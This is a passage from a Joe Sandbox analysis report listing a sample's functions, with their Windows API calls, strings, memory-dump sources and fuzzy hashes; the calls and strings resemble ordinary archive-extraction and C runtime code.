Instruction ID: 8bcae4834903ad3441854cbc0446968b18fffe579cec5c7e4dfac8cd2e2d69c8
Opcode Fuzzy Hash: b08d01abdb68be55fb287a42bb392c203bf3e1b58e612bc6f2ec19111fd76174
Instruction Fuzzy Hash: 54A012D12A80037D310423113D02E7E010DC2C4B90330442FF302C4041584008091032

Function 000CF6BD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF69B

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: bb1e55d8f0bf64479e2a523281cd48d472687075d7f7af681b6ed836dfde035d
Instruction ID: b31545519e1748d301cb91006e4f3a8831fcee5ff807ea41c15247247b435fe6
Opcode Fuzzy Hash: bb1e55d8f0bf64479e2a523281cd48d472687075d7f7af681b6ed836dfde035d
Instruction Fuzzy Hash: 93A001A62B9143BC361863626E17E7E021EC6D8B65334893FF502A94D2A8A119452572

Function 000CF6C7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF69B

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1cc674762fc082c9266d05f41729ccc291d63f3c7d432cacc3b5a8e42bcaad12
Instruction ID: b31545519e1748d301cb91006e4f3a8831fcee5ff807ea41c15247247b435fe6
Opcode Fuzzy Hash: 1cc674762fc082c9266d05f41729ccc291d63f3c7d432cacc3b5a8e42bcaad12
Instruction Fuzzy Hash: 93A001A62B9143BC361863626E17E7E021EC6D8B65334893FF502A94D2A8A119452572

Function 000CF6DB Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF69B

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 45bb3b83ae5478eb87fd26a609e8e3dde31813d92f42044571c26f24fd6aed8a
Instruction ID: b31545519e1748d301cb91006e4f3a8831fcee5ff807ea41c15247247b435fe6
Opcode Fuzzy Hash: 45bb3b83ae5478eb87fd26a609e8e3dde31813d92f42044571c26f24fd6aed8a
Instruction Fuzzy Hash: 93A001A62B9143BC361863626E17E7E021EC6D8B65334893FF502A94D2A8A119452572

Function 000CF6D1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF69B

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: efeddb7eeaad85996d4018915a46f85b687c9cb9bdecb295a84ef9013826dcbc
Instruction ID: b31545519e1748d301cb91006e4f3a8831fcee5ff807ea41c15247247b435fe6
Opcode Fuzzy Hash: efeddb7eeaad85996d4018915a46f85b687c9cb9bdecb295a84ef9013826dcbc
Instruction Fuzzy Hash: 93A001A62B9143BC361863626E17E7E021EC6D8B65334893FF502A94D2A8A119452572

Function 000CF6EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF6FC

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5fcae6f362c2d3dbea27c32f1d67f8fd07702c43362a7db28490085842a4e06e
Instruction ID: dc92b1bd22e8339b0a8290aa453cea9dabc9a4cd7027e2f5841905090e717ea5
Opcode Fuzzy Hash: 5fcae6f362c2d3dbea27c32f1d67f8fd07702c43362a7db28490085842a4e06e
Instruction Fuzzy Hash: C0A002952651477C351463517D56F7E111DC6D1B15330452FF511944515C9119451076

Function 000CF6E5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 000CF69B

Part of subcall function 000CF9D9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 000CFA4C
Part of subcall function 000CF9D9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 000CFA5D

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7ea9eae64a9a11591b7f503652cb6affdf8e63ccf91712f3ff64311872b32c3a
Instruction ID: b31545519e1748d301cb91006e4f3a8831fcee5ff807ea41c15247247b435fe6
Opcode Fuzzy Hash: 7ea9eae64a9a11591b7f503652cb6affdf8e63ccf91712f3ff64311872b32c3a
Instruction Fuzzy Hash: 93A001A62B9143BC361863626E17E7E021EC6D8B65334893FF502A94D2A8A119452572

Function 000BA880 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000000FF,?,?,000BA83D,?,?,?,?,?,000E37FF,000000FF), ref: 000BA89B

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: cc4ac89c1a4e5bd767a809a7fc200fde657dbbe77ce84a5c5b14bbd86cfeef5a
Instruction ID: 82c87013a7836c7fb7ce9dcbe7ff0395f56855f5cfda01c8993ea697dd890e99
Opcode Fuzzy Hash: cc4ac89c1a4e5bd767a809a7fc200fde657dbbe77ce84a5c5b14bbd86cfeef5a
Instruction Fuzzy Hash: 29F0E230582B058FEB308A24C4887D2B3E4AB13335F041B5FC0E243DE0EB74698E8A51

Non-executed Functions

Function 000CD410 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 233windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 000B12F6: GetParent.USER32(?), ref: 000B132A
Part of subcall function 000B12F6: GetDlgItem.USER32(00000000,00003021), ref: 000B133A
Part of subcall function 000B12F6: SetWindowTextW.USER32(00000000,000E45F4), ref: 000B1350

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 000CD4A1
EndDialog.USER32(?,00000006), ref: 000CD4B4
GetDlgItem.USER32(?,0000006C), ref: 000CD4D0
SetFocus.USER32(00000000), ref: 000CD4D7
SetDlgItemTextW.USER32(?,00000065,?), ref: 000CD511
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 000CD548
FindFirstFileW.KERNEL32(?,?), ref: 000CD55E

Part of subcall function 000CBC1B: FileTimeToSystemTime.KERNEL32(?,?), ref: 000CBC2F
Part of subcall function 000CBC1B: SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 000CBC40
Part of subcall function 000CBC1B: SystemTimeToFileTime.KERNEL32(?,?), ref: 000CBC4E
Part of subcall function 000CBC1B: FileTimeToSystemTime.KERNEL32(?,?), ref: 000CBC5C
Part of subcall function 000CBC1B: GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 000CBC77
Part of subcall function 000CBC1B: GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 000CBC9E
Part of subcall function 000CBC1B: _swprintf.LIBCMT ref: 000CBCC4

_swprintf.LIBCMT ref: 000CD5A7

Part of subcall function 000B4A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B4A33

SetDlgItemTextW.USER32(?,0000006A,?), ref: 000CD5BA
FindClose.KERNEL32(00000000), ref: 000CD5C1
_swprintf.LIBCMT ref: 000CD610
SetDlgItemTextW.USER32(?,00000068,?), ref: 000CD623
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 000CD640
_swprintf.LIBCMT ref: 000CD673
SetDlgItemTextW.USER32(?,0000006B,?), ref: 000CD686
_swprintf.LIBCMT ref: 000CD6D0
SetDlgItemTextW.USER32(?,00000069,?), ref: 000CD6E3

Part of subcall function 000CC083: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 000CC0A9
Part of subcall function 000CC083: GetNumberFormatW.KERNEL32(00000400,00000000,?,000F072C,?,?), ref: 000CC0F8

Strings

REPLACEFILEDLG, xrefs: 000CD437
%s %s, xrefs: 000CD594, 000CD5A0, 000CD606, 000CD669, 000CD6C6

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Item$Time$Text$_swprintf$FileSystem$FormatMessageSend$Find$CloseDateDialogFirstFocusInfoLocalLocaleNumberParentSpecificWindow__vswprintf_c_l
String ID: %s %s$REPLACEFILEDLG
API String ID: 2415798972-439456425
Opcode ID: 38c247153f1539342c9ec538c3374f973f48683c89186b0f877c5acaf942e5d2
Instruction ID: 0dea574a3feaf21ac848067897f01cd3a434e267eb2ffc8a16efca734db1605c
Opcode Fuzzy Hash: 38c247153f1539342c9ec538c3374f973f48683c89186b0f877c5acaf942e5d2
Instruction Fuzzy Hash: CB71C272548304BBE3359BA4DD49FFF77EDEB8A700F00482EB749D2481D675A9048762

Function 000B7AAF Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 337fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B7AB4
_wcslen.LIBCMT ref: 000B7B1D
_wcslen.LIBCMT ref: 000B7B8E

Part of subcall function 000B8704: GetCurrentProcess.KERNEL32(00000020,?), ref: 000B8713
Part of subcall function 000B8704: GetLastError.KERNEL32 ref: 000B8759
Part of subcall function 000B8704: CloseHandle.KERNEL32(?), ref: 000B8768

Part of subcall function 000BB470: DeleteFileW.KERNEL32(?,00000000,?,000BA438,?,?,?,?,000B892B,?,?,?,000E37FF,000000FF), ref: 000BB481
Part of subcall function 000BB470: DeleteFileW.KERNEL32(?,?,?,00000800,?,000BA438,?,?,?,?,000B892B,?,?,?,000E37FF,000000FF), ref: 000BB4AF

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 000B7C43
CloseHandle.KERNEL32(00000000), ref: 000B7C5F
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 000B7DAB

Part of subcall function 000BB032: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,000B7ED0,?,?,?,00000000), ref: 000BB04C
Part of subcall function 000BB032: SetFileTime.KERNEL32(?,?,?,?), ref: 000BB100

Part of subcall function 000BA880: CloseHandle.KERNEL32(000000FF,?,?,000BA83D,?,?,?,?,?,000E37FF,000000FF), ref: 000BA89B

Part of subcall function 000BB8E6: SetFileAttributesW.KERNEL32(?,00000000,00000001,?,000BB5B5,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB8FA
Part of subcall function 000BB8E6: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,000BB5B5,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB92B

Strings

SeRestorePrivilege, xrefs: 000B7ACC
\??\, xrefs: 000B7B35
UNC\, xrefs: 000B7B5B
SeCreateSymbolicLinkPrivilege, xrefs: 000B7AD6

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: c60f5fe90c048ccdc48557c6ccd8bfdb0e60a36d0312949d77b76b0ce279c90c
Instruction ID: 0b8893d26fe94d29e6dc3f9d4e4608a63197f311062b914b59f9a9f1b4fcc5f1
Opcode Fuzzy Hash: c60f5fe90c048ccdc48557c6ccd8bfdb0e60a36d0312949d77b76b0ce279c90c
Instruction Fuzzy Hash: 3AC1D871904249AFEB21DB64CC85FEEB7ACAF44710F00456AF549E7283DB74EA44CBA1

Function 000DEA9E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 000DEBE4

Strings

1#INF, xrefs: 000DFDF1
1#SNAN, xrefs: 000DFDE3
1#IND, xrefs: 000DFDDC
1#QNAN, xrefs: 000DFDEA

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 7846e4a97fa0a0b6a2522bdf853161158af828625d39482e6b23fdbe6a18ade3
Instruction ID: 0664b4770b30b87c7a2fd906e4cabb84f4abf12beb537fb59ccb5fec4de946e5
Opcode Fuzzy Hash: 7846e4a97fa0a0b6a2522bdf853161158af828625d39482e6b23fdbe6a18ade3
Instruction Fuzzy Hash: 9BC23771E086298FDB659E28DD407EAB7B5EB44304F1481EBD84EE7341E774AE818F50

Function 000B395A Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 666COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B3963
_swprintf.LIBCMT ref: 000B3DC1

Strings

h%u, xrefs: 000B3DB6
CMT, xrefs: 000B40FC
hc%u, xrefs: 000B3E04

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 42620bb06e3e0c50c4685815fd1da886dff133cf99ec89396bfd0037a692a1e2
Instruction ID: 24d1156a1f0dee210d988774fe8c8ba8548d21176402d9d0a1049ee491218176
Opcode Fuzzy Hash: 42620bb06e3e0c50c4685815fd1da886dff133cf99ec89396bfd0037a692a1e2
Instruction Fuzzy Hash: 2E42F4716042849FDF24DF34C895AEA3BE5AF15300F54447DFD4A8B283EB74AA89CB61

Function 000B2EB6 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 804COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B2EBF
_strlen.LIBCMT ref: 000B348B

Part of subcall function 000C15F9: __EH_prolog.LIBCMT ref: 000C15FE

Part of subcall function 000C2EC2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,000BCF18,00000000,?,?), ref: 000C2EDE

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000B35DD

Strings

CMT, xrefs: 000B3608

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: 5ea6a925460892ff2256ce7c8a1a06d6b0eefde4600cc76c736194c20878cbac
Instruction ID: 13aca2d8c2896c978194a36b5e45156e043f0b4b8d4bf8470c0b589206b7ace3
Opcode Fuzzy Hash: 5ea6a925460892ff2256ce7c8a1a06d6b0eefde4600cc76c736194c20878cbac
Instruction Fuzzy Hash: 406237716042848FDF29DF38C8956EA7BE1AF55300F18457EFC5A9B283DB70AA48CB51

Function 000D09FA Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000D0A06
IsDebuggerPresent.KERNEL32 ref: 000D0AD2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 000D0AF2
UnhandledExceptionFilter.KERNEL32(?), ref: 000D0AFC

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 18333312405535513bb5410dcf9ebe26b8573e5a918ddca3f5c6158c5ac45944
Instruction ID: 6355225568ed9a75f46774687f68e4669470f388a997c797c9708a721c325750
Opcode Fuzzy Hash: 18333312405535513bb5410dcf9ebe26b8573e5a918ddca3f5c6158c5ac45944
Instruction Fuzzy Hash: AA312475D453199BEB20DFA4D989BCDBBB8AF08304F1041EAE40CAB251EB759A848F15

Function 000CF81F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,000CF764,0000001C,000CF959,00000000,?,?,?,?,?,?,?,000CF764,00000004,00113D24,000CF9E9), ref: 000CF830
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,000CF764,00000004,00113D24,000CF9E9), ref: 000CF84B

Strings

D, xrefs: 000CF83F

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
